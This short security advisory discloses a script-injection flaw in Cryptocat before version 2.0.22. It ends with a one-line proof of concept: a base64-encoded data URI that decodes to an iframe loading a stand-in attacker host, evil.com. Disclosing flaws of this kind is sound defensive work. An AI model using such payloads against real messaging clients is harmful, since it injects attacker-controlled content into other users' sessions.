Cryptocat versions prior to 2.0.22 are vulnerability to a script injection vulnerability.
543ed9ca2c758daec7f417268c79d5da2f0a84742481698ab0d4e6bd01aed583
Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to execute arbitrary script code within the context of the application.
Versions prior to Cryptocat 2.0.22 are vulnerable.
Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg